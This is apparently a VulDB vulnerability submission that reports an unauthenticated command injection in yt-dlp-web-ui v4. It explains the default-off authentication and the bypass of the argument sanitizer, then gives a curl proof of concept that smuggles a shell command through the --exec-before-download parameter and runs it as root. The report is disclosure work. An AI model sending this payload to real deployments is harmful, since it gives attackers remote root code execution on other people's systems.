| 标题 | marcopiovanello yt-dlp-web-ui 4 Command Injection |
|---|
| 描述 | A default deployment (no config.yml → require_auth=false, bound to x.x.x.x:3033) allows unauthenticated remote code execution as root via the params array of POST /api/v1/exec.
1. main.go sets authentication.require_auth default to false; auth middleware in server/rest/container.go / server/rpc/container.go is skipped unless enabled.
2. User-supplied params reach yt-dlp nearly verbatim (server/internal/downloaders/generic.go, argsSanitizer in server/internal/downloaders/utils.go only strips ${ and &&).
3. --no-exec is placed before user params, so it doesn't help: it only clears --exec (store_const, dest='exec_cmd'), it never touches --exec-before-download (dest='exec_before_dl_cmd, merged into exec_cmd['before_dl'] in yt-dlp's __init__.py), and a later --exec overrides it (last-wins).
PoC (single unauthenticated request, runs as root in the container):
curl -X POST http://target:3033/api/v1/exec -H 'Content-Type: application/json' \
-d '{"url":"https://www.youtube.com/watch?v=dQw4w9WgXcQ",
"params":["--exec-before-download","id > /downloads/pwned.txt; exit 0; "]}'
|
|---|
| 来源 | ⚠️ https://github.com/marcopiovanello/yt-dlp-web-ui/commit/c7ad3bd79c7c520a7d17e7f2ba19d962be8e7897 |
|---|
| 用户 | HLever (UID 100450) |
|---|
| 提交 | 2026-08-22 00時00分 (28 日前) |
|---|
| 管理 | 2026-09-17 21時28分 (27 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 406851 [marcopiovanello yt-dlp-web-ui 直到 v4 generic.go NewGenericDownload params 权限提升] |
|---|
| 积分 | 20 |
|---|